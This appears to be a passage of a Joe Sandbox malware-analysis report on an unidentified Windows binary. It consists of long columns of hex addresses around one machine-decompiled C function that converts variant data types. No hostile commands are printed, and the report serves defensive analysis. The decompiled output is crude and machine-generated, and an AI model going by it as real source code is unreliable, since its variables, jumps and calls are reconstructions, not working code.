                                                                                                                                                                            0x0045fbd7
                                                                                                                                                                            0x0045fbd7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fbe1
                                                                                                                                                                            0x0045fbe5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fbf2
                                                                                                                                                                            0x0045fbf7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fc4e
                                                                                                                                                                            0x0045fc52
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fc5f
                                                                                                                                                                            0x0045fc64
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fc78
                                                                                                                                                                            0x0045fc7c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fc84
                                                                                                                                                                            0x0045fc89
                                                                                                                                                                            0x0045fc8e
                                                                                                                                                                            0x0045fc92
                                                                                                                                                                            0x0045fc96
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fc9c
                                                                                                                                                                            0x0045fca0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fca8
                                                                                                                                                                            0x0045fcad
                                                                                                                                                                            0x0045fcb2
                                                                                                                                                                            0x0045fcb6
                                                                                                                                                                            0x0045fcba
                                                                                                                                                                            0x0045fcbb
                                                                                                                                                                            0x0045fcbc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fcc6
                                                                                                                                                                            0x0045fcca
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fcd7
                                                                                                                                                                            0x0045fcdc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fce2
                                                                                                                                                                            0x0045fce6
                                                                                                                                                                            0x0045fcf7
                                                                                                                                                                            0x0045fcfb
                                                                                                                                                                            0x0045fd04
                                                                                                                                                                            0x0045fd09
                                                                                                                                                                            0x0045fd0d
                                                                                                                                                                            0x0045fd0e
                                                                                                                                                                            0x0045fd0f
                                                                                                                                                                            0x0045fd0f
                                                                                                                                                                            0x0045fd14
                                                                                                                                                                            0x0045fd14
                                                                                                                                                                            0x0045fd16
                                                                                                                                                                            0x0045fd16
                                                                                                                                                                            0x0045fd1f
                                                                                                                                                                            0x0045fd23
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fd2f
                                                                                                                                                                            0x0045fd33
                                                                                                                                                                            0x0045fd38
                                                                                                                                                                            0x0045fd3d
                                                                                                                                                                            0x0045fd43
                                                                                                                                                                            0x0045fd48
                                                                                                                                                                            0x0045fd48
                                                                                                                                                                            0x0045fd4b
                                                                                                                                                                            0x0045fd4f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fd58
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fd58
                                                                                                                                                                            0x0045fce8
                                                                                                                                                                            0x0045fcec
                                                                                                                                                                            0x0045fcf0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fa89
                                                                                                                                                                            0x0045fa8e
                                                                                                                                                                            0x0045fa93
                                                                                                                                                                            0x0045fa98
                                                                                                                                                                            0x0045fc68
                                                                                                                                                                            0x0045fc68
                                                                                                                                                                            0x0045fc6c
                                                                                                                                                                            0x0045fc6d
                                                                                                                                                                            0x0045fc6e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fc6e
                                                                                                                                                                            0x0045fa9e
                                                                                                                                                                            0x0045faa3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fa3a
                                                                                                                                                                            0x0045fa3f
                                                                                                                                                                            0x0045fa44
                                                                                                                                                                            0x0045fa64
                                                                                                                                                                            0x0045fa69
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fa6f
                                                                                                                                                                            0x0045fa73
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fa79
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fa79
                                                                                                                                                                            0x0045fa46
                                                                                                                                                                            0x0045fa4a
                                                                                                                                                                            0x0045fa54
                                                                                                                                                                            0x0045fa55
                                                                                                                                                                            0x0045fa56
                                                                                                                                                                            0x0045fa5a
                                                                                                                                                                            0x0045fa5a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fb07
                                                                                                                                                                            0x0045fb0c
                                                                                                                                                                            0x0045fb11
                                                                                                                                                                            0x0045fb16
                                                                                                                                                                            0x0045fb36
                                                                                                                                                                            0x0045fb3b
                                                                                                                                                                            0x0045fb50
                                                                                                                                                                            0x0045fb56
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fb56
                                                                                                                                                                            0x0045fb3d
                                                                                                                                                                            0x0045fb41
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fb47
                                                                                                                                                                            0x0045fd5d
                                                                                                                                                                            0x0045fd61
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fd61
                                                                                                                                                                            0x0045fb18
                                                                                                                                                                            0x0045fb1c
                                                                                                                                                                            0x0045fb22
                                                                                                                                                                            0x0045fb26
                                                                                                                                                                            0x0045fb27
                                                                                                                                                                            0x0045fb28
                                                                                                                                                                            0x0045fb2c
                                                                                                                                                                            0x0045fb2c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fb6a
                                                                                                                                                                            0x0045fb6f
                                                                                                                                                                            0x0045fb74
                                                                                                                                                                            0x0045fb94
                                                                                                                                                                            0x0045fb99
                                                                                                                                                                            0x0045faa9
                                                                                                                                                                            0x0045faaf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045faaf
                                                                                                                                                                            0x0045fb9f
                                                                                                                                                                            0x0045fba3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fba9
                                                                                                                                                                            0x0045fbad
                                                                                                                                                                            0x0045fbad
                                                                                                                                                                            0x0045fbb1
                                                                                                                                                                            0x0045fd62
                                                                                                                                                                            0x0045fd62
                                                                                                                                                                            0x0045fd63
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fd63
                                                                                                                                                                            0x0045fb76
                                                                                                                                                                            0x0045fb7a
                                                                                                                                                                            0x0045fb80
                                                                                                                                                                            0x0045fb84
                                                                                                                                                                            0x0045fb85
                                                                                                                                                                            0x0045fb86
                                                                                                                                                                            0x0045fb8a
                                                                                                                                                                            0x0045fb8a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fa2c
                                                                                                                                                                            0x0045f9b8
                                                                                                                                                                            0x0045f9bd
                                                                                                                                                                            0x0045f9c2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f9c8
                                                                                                                                                                            0x0045f9cd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f9d3
                                                                                                                                                                            0x0045f9d8
                                                                                                                                                                            0x0045f9ef
                                                                                                                                                                            0x0045f9f4
                                                                                                                                                                            0x0045fa0f
                                                                                                                                                                            0x0045fa16
                                                                                                                                                                            0x0045fa17
                                                                                                                                                                            0x0045fa18
                                                                                                                                                                            0x0045fa19
                                                                                                                                                                            0x0045f9f6
                                                                                                                                                                            0x0045f9f6
                                                                                                                                                                            0x0045fa01
                                                                                                                                                                            0x0045fa01
                                                                                                                                                                            0x0045f9da
                                                                                                                                                                            0x0045f9da
                                                                                                                                                                            0x0045f9e5
                                                                                                                                                                            0x0045f9e5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f9d8
                                                                                                                                                                            0x0045f95c
                                                                                                                                                                            0x0045f96e
                                                                                                                                                                            0x0045f973
                                                                                                                                                                            0x0045f978
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f97e
                                                                                                                                                                            0x0045f983
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f989
                                                                                                                                                                            0x0045f995
                                                                                                                                                                            0x0045f998
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f998
                                                                                                                                                                            0x0045f824

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __wcsicoll
                                                                                                                                                                            • String ID: 0%d$DOWN$OFF
                                                                                                                                                                            • API String ID: 3832890014-468733193
                                                                                                                                                                            • Opcode ID: 25bfc9ffe56a9f461fb290e39ecd018cd56add90ff5485f11d716e4021a18fc7
                                                                                                                                                                            • Instruction ID: 59f6fc8a39a1ed32042cb7d66bde0eae2646b23187a89e8194ac449c738fc85c
                                                                                                                                                                            • Opcode Fuzzy Hash: 25bfc9ffe56a9f461fb290e39ecd018cd56add90ff5485f11d716e4021a18fc7
                                                                                                                                                                            • Instruction Fuzzy Hash: D8F1F8614083856DEB21EB21C845BAF7BE85F85309F48092FF98216193D7BCD68DC76B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045E912 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 353timeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 55%
                                                                                                                                                                            			E0045E912(intOrPtr* _a4, signed int _a8) {
				signed int _v40;
				signed short _v44;
				signed int _v48;
				signed short _v52;
				signed int _v68;
				signed int _v70;
				signed int _v72;
				signed int _v74;
				char _v76;
				signed int _v78;
				signed int _v80;
				signed short _v84;
				signed short _v92;
				signed int _t86;
				signed int _t87;
				intOrPtr* _t105;
				signed short* _t114;
				signed int _t115;
				intOrPtr _t116;
				void* _t123;

				_t105 = _a4;
				_t114 = _a8;
				_t86 =  *_t114 & 0x0000ffff;
				_t123 = _t86 - 0x4002;
				if(_t123 > 0) {
					_t87 = _t86 - 0x4003;
					if(_t87 > 0x12) {
						goto L53;
					} else {
						switch( *((intOrPtr*)(_t87 * 4 +  &M0045ED76))) {
							case 0:
								__edi =  *(__edi + 8);
								__eflags = __edi;
								if(__edi != 0) {
									__edi =  *__edi;
									goto L8;
								}
								goto L9;
							case 1:
								__edi =  *(__edi + 8);
								__eflags = __edi;
								if(__edi == 0) {
									goto L9;
								} else {
									__fp0 =  *__edi;
									__esi = __ebx;
									_v84 =  *__edi;
									__eax = E004092C0(__edi, __ebx);
									__fp0 = _v84;
									 *((intOrPtr*)(__ebx + 8)) = 3;
									 *__ebx = _v84;
									__al = 1;
									return __eax;
								}
								goto L54;
							case 2:
								__edi =  *(__edi + 8);
								__eflags = __edi;
								if(__edi == 0) {
									goto L9;
								} else {
									__fp0 =  *__edi;
									__esi = __ebx;
									_v84 =  *__edi;
									__eax = E004092C0(__edi, __ebx);
									__fp0 = _v84;
									 *((intOrPtr*)(__ebx + 8)) = 3;
									 *__ebx = _v84;
									__al = 1;
									return __eax;
								}
								goto L54;
							case 3:
								goto L53;
							case 4:
								goto L19;
							case 5:
								__eflags = _t114[4];
								if(__eflags != 0) {
									_push(0x10);
									 *((intOrPtr*)(_t105 + 8)) = 8;
									_t90 = E0041171A(_t105, _t114, __eflags);
									_push(_t90);
									 *_t105 = _t90;
									 *0x482434();
									 *((short*)( *_t105)) = 9;
									 *((intOrPtr*)( *_t105 + 8)) =  *(_t114[4]);
									_t94 =  *((intOrPtr*)( *_t105 + 8));
									_push(_t94);
									 *((intOrPtr*)( *((intOrPtr*)( *_t94 + 4))))();
								}
								return 1;
								goto L54;
							case 6:
								__edi =  *(__edi + 8);
								__eflags = __edi;
								if(__edi == 0) {
									goto L9;
								} else {
									__eflags =  *__edi;
									goto L24;
								}
								goto L54;
							case 7:
								__edi =  *(__edi + 8);
								__eflags = __edi;
								if(__edi == 0) {
									goto L9;
								} else {
									__ecx = __ebx;
									__eax = E00467626(__ebx, __ebx, __edi);
									__al = 1;
									return __eax;
								}
								goto L54;
							case 8:
								__edi =  *(__edi + 8);
								__eflags = __edi;
								if(__edi != 0) {
									__edi =  *__edi;
									goto L8;
								}
								goto L9;
							case 9:
								__edi =  *(__edi + 8);
								__eflags = __edi;
								if(__edi != 0) {
									__edi =  *__edi & 0x000000ff;
									goto L8;
								}
								goto L9;
							case 0xa:
								__edi =  *(__edi + 8);
								__eflags = __edi;
								if(__edi != 0) {
									__edi =  *__edi & 0x0000ffff;
									goto L8;
								}
								goto L9;
							case 0xb:
								__edi =  *(__edi + 8);
								__eflags = __edi;
								if(__edi == 0) {
									goto L9;
								} else {
									__ebp =  *__edi;
									__edi =  *(__edi + 4);
									goto L15;
								}
								goto L54;
						}
					}
				} else {
					if(_t123 == 0) {
						_t115 = _t114[4];
						if(_t115 != 0) {
							_t116 =  *_t115;
							goto L8;
						}
						goto L9;
					} else {
						if(_t86 > 0x15) {
							L53:
							return 0;
						} else {
							switch( *((intOrPtr*)(_t86 * 4 +  &M0045ED1E))) {
								case 0:
									__edi = 0x4848e8;
									__eax = E0040E6D0(__ebx, __eflags);
									__al = 1;
									return __eax;
									goto L54;
								case 1:
									_t9 = __edi + 8; // 0xce8b7824
									__edi =  *_t9;
									goto L8;
								case 2:
									__edi =  *(__edi + 8);
									goto L8;
								case 3:
									__fp0 =  *(__edi + 8);
									__esi = __ebx;
									_v84 =  *(__edi + 8);
									__eax = E004092C0(__edi, __ebx);
									__fp0 = _v84;
									 *((intOrPtr*)(__ebx + 8)) = 3;
									 *__ebx = _v84;
									__al = 1;
									return __eax;
									goto L54;
								case 4:
									__fp0 =  *(__edi + 8);
									__esi = __ebx;
									_v84 =  *(__edi + 8);
									__eax = E004092C0(__edi, __ebx);
									__fp0 = _v84;
									 *((intOrPtr*)(__ebx + 8)) = 3;
									 *__ebx = _v84;
									__al = 1;
									return __eax;
									goto L54;
								case 5:
									asm("fild qword [edi+0x8]");
									__esi = __ebx;
									_v84 = __fp0;
									__eax = E004092C0(__edi, __ebx);
									__fp0 = _v84;
									 *__ebx = _v84;
									 *((intOrPtr*)(__ebx + 8)) = 3;
									__al = 1;
									return __eax;
									goto L54;
								case 6:
									__fp0 =  *(__edi + 8);
									__edx =  &_v68;
									_push( &_v68);
									__esp = __esp - 8;
									 *__esp =  *(__edi + 8);
									 *0x482428() = _v68 & 0x0000ffff;
									__ecx = _v70 & 0x0000ffff;
									__edx = _v72 & 0x0000ffff;
									_push(_v68 & 0x0000ffff);
									__eax = _v74 & 0x0000ffff;
									_push(_v70 & 0x0000ffff);
									__ecx = _v78 & 0x0000ffff;
									_push(_v72 & 0x0000ffff);
									__edx = _v80 & 0x0000ffff;
									_push(_v74 & 0x0000ffff);
									_push(_v78 & 0x0000ffff);
									 &_v48 = E0041353A(_v80 & 0x0000ffff, __edi, __esi,  &_v48, L"%4d%02d%02d%02d%02d%02d", _v80 & 0x0000ffff);
									__edi =  &_v48;
									__eax = E0040E6D0(__ebx, __eflags);
									__al = 1;
									return __eax;
									goto L54;
								case 7:
									L19:
									__eflags =  *(__edi + 8);
									if(__eflags == 0) {
										goto L9;
									} else {
										_push(0x10);
										__eax = E0041171A(__ebx, __edi, __eflags);
										__esp =  &(__esp[2]);
										__eflags = __eax;
										if(__eflags == 0) {
											__eax = 0;
											__eflags = 0;
											 *(__ebx + 0xc) = 0;
											 *((intOrPtr*)(__ebx + 8)) = 4;
											__al = 1;
											return 0;
										} else {
											__edi =  *(__edi + 8);
											__esi = __eax;
											__eax = E00401B70(__ebx, __edi, __eax, __eflags);
											 *(__ebx + 0xc) = __eax;
											 *((intOrPtr*)(__ebx + 8)) = 4;
											__al = 1;
											return __eax;
										}
									}
									goto L54;
								case 8:
									_push(0x10);
									 *((intOrPtr*)(_t105 + 8)) = 8;
									_t98 = E0041171A(_t105, _t114, _t124);
									_push(_t98);
									 *_t105 = _t98;
									 *0x482434();
									_push(_t114);
									_push( *_t105);
									_t101 =  *0x482430();
									_t125 = _t101;
									if(_t101 < 0) {
										_push( *_t105);
										 *0x48242c();
										E004112EF(_t105,  *_t105, _t114, _t117, _t125,  *_t105);
										 *_t105 = 0;
									}
									return 1;
									goto L54;
								case 9:
									goto L53;
								case 0xa:
									__eflags =  *(__edi + 8);
									L24:
									_t35 = __eflags != 0;
									__eflags = _t35;
									__eax = __eax & 0xffffff00 | _t35;
									_a8 = __al;
									__ecx = _a8;
									__eax = E00452D91(__ebx, _a8);
									__al = 1;
									return __eax;
									goto L54;
								case 0xb:
									__edx =  *(__edi + 4);
									__eax =  *(__edi + 8);
									__ecx =  *__edi;
									_v48 =  *(__edi + 4);
									__edx =  &_v76;
									_v44 =  *(__edi + 8);
									_v52 =  *__edi;
									__ecx =  *(__edi + 0xc);
									_push( &_v76);
									__eax =  &_v52;
									_push( &_v52);
									_v40 =  *(__edi + 0xc);
									__eax =  *0x482424();
									__fp0 = _v84;
									__esi = __ebx;
									_v92 = _v84;
									__eax = E004092C0(__edi, __ebx);
									__fp0 = _v92;
									 *__ebx = _v92;
									 *((intOrPtr*)(__ebx + 8)) = 3;
									__al = 1;
									return __eax;
									goto L54;
								case 0xc:
									__edi =  *(__edi + 8);
									goto L8;
								case 0xd:
									__edi =  *(__edi + 8) & 0x000000ff;
									goto L8;
								case 0xe:
									__edi =  *(__edi + 8) & 0x0000ffff;
									L8:
									E004092C0(_t116, _t105);
									 *((intOrPtr*)(_t105 + 8)) = 1;
									 *_t105 = _t116;
									L9:
									return 1;
									goto L54;
								case 0xf:
									__ebp =  *(__edi + 8);
									__edi =  *(__edi + 0xc);
									L15:
									__esi = __ebx;
									__eax = E004092C0(__edi, __ebx);
									 *((intOrPtr*)(__ebx + 8)) = 2;
									 *__ebx = __ebp;
									 *(__ebx + 4) = __edi;
									__al = 1;
									return __eax;
									goto L54;
							}
						}
					}
				}
				L54:
			}























                                                                                                                                                                            0x0045e916
                                                                                                                                                                            0x0045e91d
                                                                                                                                                                            0x0045e921
                                                                                                                                                                            0x0045e924
                                                                                                                                                                            0x0045e929
                                                                                                                                                                            0x0045ebb8
                                                                                                                                                                            0x0045ebc0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ebc6
                                                                                                                                                                            0x0045ebc6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec53
                                                                                                                                                                            0x0045ec56
                                                                                                                                                                            0x0045ec58
                                                                                                                                                                            0x0045ec5e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec5e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec7a
                                                                                                                                                                            0x0045ec7d
                                                                                                                                                                            0x0045ec7f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec85
                                                                                                                                                                            0x0045ec85
                                                                                                                                                                            0x0045ec87
                                                                                                                                                                            0x0045ec89
                                                                                                                                                                            0x0045ec8d
                                                                                                                                                                            0x0045ec92
                                                                                                                                                                            0x0045ec96
                                                                                                                                                                            0x0045ec9d
                                                                                                                                                                            0x0045ec9f
                                                                                                                                                                            0x0045eca8
                                                                                                                                                                            0x0045eca8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ecab
                                                                                                                                                                            0x0045ecae
                                                                                                                                                                            0x0045ecb0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ecb6
                                                                                                                                                                            0x0045ecb6
                                                                                                                                                                            0x0045ecb8
                                                                                                                                                                            0x0045ecba
                                                                                                                                                                            0x0045ecbe
                                                                                                                                                                            0x0045ecc3
                                                                                                                                                                            0x0045ecc7
                                                                                                                                                                            0x0045ecce
                                                                                                                                                                            0x0045ecd0
                                                                                                                                                                            0x0045ecd9
                                                                                                                                                                            0x0045ecd9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ebcd
                                                                                                                                                                            0x0045ebd1
                                                                                                                                                                            0x0045ebd3
                                                                                                                                                                            0x0045ebd5
                                                                                                                                                                            0x0045ebdc
                                                                                                                                                                            0x0045ebe4
                                                                                                                                                                            0x0045ebe5
                                                                                                                                                                            0x0045ebe7
                                                                                                                                                                            0x0045ebf4
                                                                                                                                                                            0x0045ebfe
                                                                                                                                                                            0x0045ec03
                                                                                                                                                                            0x0045ec0b
                                                                                                                                                                            0x0045ec0c
                                                                                                                                                                            0x0045ec0c
                                                                                                                                                                            0x0045ec17
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ecdc
                                                                                                                                                                            0x0045ecdf
                                                                                                                                                                            0x0045ece1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ece7
                                                                                                                                                                            0x0045ece7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ece7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ecf0
                                                                                                                                                                            0x0045ecf3
                                                                                                                                                                            0x0045ecf5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ecfb
                                                                                                                                                                            0x0045ecfc
                                                                                                                                                                            0x0045ecfe
                                                                                                                                                                            0x0045ed03
                                                                                                                                                                            0x0045ed0c
                                                                                                                                                                            0x0045ed0c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec1a
                                                                                                                                                                            0x0045ec1d
                                                                                                                                                                            0x0045ec1f
                                                                                                                                                                            0x0045ec25
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec25
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec2d
                                                                                                                                                                            0x0045ec30
                                                                                                                                                                            0x0045ec32
                                                                                                                                                                            0x0045ec38
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec38
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec40
                                                                                                                                                                            0x0045ec43
                                                                                                                                                                            0x0045ec45
                                                                                                                                                                            0x0045ec4b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec4b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec65
                                                                                                                                                                            0x0045ec68
                                                                                                                                                                            0x0045ec6a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec70
                                                                                                                                                                            0x0045ec70
                                                                                                                                                                            0x0045ec72
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ec72
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ebc6
                                                                                                                                                                            0x0045e92f
                                                                                                                                                                            0x0045e92f
                                                                                                                                                                            0x0045eba5
                                                                                                                                                                            0x0045ebaa
                                                                                                                                                                            0x0045ebb0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ebb0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045e935
                                                                                                                                                                            0x0045e938
                                                                                                                                                                            0x0045ed12
                                                                                                                                                                            0x0045ed18
                                                                                                                                                                            0x0045e93e
                                                                                                                                                                            0x0045e93e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045eb8f
                                                                                                                                                                            0x0045eb94
                                                                                                                                                                            0x0045eb99
                                                                                                                                                                            0x0045eba2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045e9b9
                                                                                                                                                                            0x0045e9b9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045e9c5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045e9ef
                                                                                                                                                                            0x0045e9f2
                                                                                                                                                                            0x0045e9f4
                                                                                                                                                                            0x0045e9f8
                                                                                                                                                                            0x0045e9fd
                                                                                                                                                                            0x0045ea01
                                                                                                                                                                            0x0045ea08
                                                                                                                                                                            0x0045ea0a
                                                                                                                                                                            0x0045ea13
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ea16
                                                                                                                                                                            0x0045ea19
                                                                                                                                                                            0x0045ea1b
                                                                                                                                                                            0x0045ea1f
                                                                                                                                                                            0x0045ea24
                                                                                                                                                                            0x0045ea28
                                                                                                                                                                            0x0045ea2f
                                                                                                                                                                            0x0045ea31
                                                                                                                                                                            0x0045ea3a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ea3d
                                                                                                                                                                            0x0045ea40
                                                                                                                                                                            0x0045ea48
                                                                                                                                                                            0x0045ea4c
                                                                                                                                                                            0x0045ea51
                                                                                                                                                                            0x0045ea55
                                                                                                                                                                            0x0045ea57
                                                                                                                                                                            0x0045ea5e
                                                                                                                                                                            0x0045ea67
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045eadd
                                                                                                                                                                            0x0045eae0
                                                                                                                                                                            0x0045eae4
                                                                                                                                                                            0x0045eae5
                                                                                                                                                                            0x0045eae8
                                                                                                                                                                            0x0045eaf1
                                                                                                                                                                            0x0045eaf6
                                                                                                                                                                            0x0045eafb
                                                                                                                                                                            0x0045eb00
                                                                                                                                                                            0x0045eb01
                                                                                                                                                                            0x0045eb06
                                                                                                                                                                            0x0045eb07
                                                                                                                                                                            0x0045eb0c
                                                                                                                                                                            0x0045eb0d
                                                                                                                                                                            0x0045eb12
                                                                                                                                                                            0x0045eb13
                                                                                                                                                                            0x0045eb1f
                                                                                                                                                                            0x0045eb27
                                                                                                                                                                            0x0045eb2b
                                                                                                                                                                            0x0045eb30
                                                                                                                                                                            0x0045eb39
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ea6a
                                                                                                                                                                            0x0045ea6a
                                                                                                                                                                            0x0045ea6e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ea74
                                                                                                                                                                            0x0045ea74
                                                                                                                                                                            0x0045ea76
                                                                                                                                                                            0x0045ea7b
                                                                                                                                                                            0x0045ea7e
                                                                                                                                                                            0x0045ea80
                                                                                                                                                                            0x0045eaa2
                                                                                                                                                                            0x0045eaa2
                                                                                                                                                                            0x0045eaa4
                                                                                                                                                                            0x0045eaa7
                                                                                                                                                                            0x0045eaae
                                                                                                                                                                            0x0045eab7
                                                                                                                                                                            0x0045ea82
                                                                                                                                                                            0x0045ea82
                                                                                                                                                                            0x0045ea85
                                                                                                                                                                            0x0045ea87
                                                                                                                                                                            0x0045ea8c
                                                                                                                                                                            0x0045ea8f
                                                                                                                                                                            0x0045ea96
                                                                                                                                                                            0x0045ea9f
                                                                                                                                                                            0x0045ea9f
                                                                                                                                                                            0x0045ea80
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045e945
                                                                                                                                                                            0x0045e947
                                                                                                                                                                            0x0045e94e
                                                                                                                                                                            0x0045e956
                                                                                                                                                                            0x0045e957
                                                                                                                                                                            0x0045e959
                                                                                                                                                                            0x0045e961
                                                                                                                                                                            0x0045e962
                                                                                                                                                                            0x0045e963
                                                                                                                                                                            0x0045e969
                                                                                                                                                                            0x0045e96b
                                                                                                                                                                            0x0045e96f
                                                                                                                                                                            0x0045e970
                                                                                                                                                                            0x0045e979
                                                                                                                                                                            0x0045e981
                                                                                                                                                                            0x0045e981
                                                                                                                                                                            0x0045e990
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045eaba
                                                                                                                                                                            0x0045eabf
                                                                                                                                                                            0x0045eabf
                                                                                                                                                                            0x0045eabf
                                                                                                                                                                            0x0045eabf
                                                                                                                                                                            0x0045eac2
                                                                                                                                                                            0x0045eac6
                                                                                                                                                                            0x0045eacc
                                                                                                                                                                            0x0045ead1
                                                                                                                                                                            0x0045eada
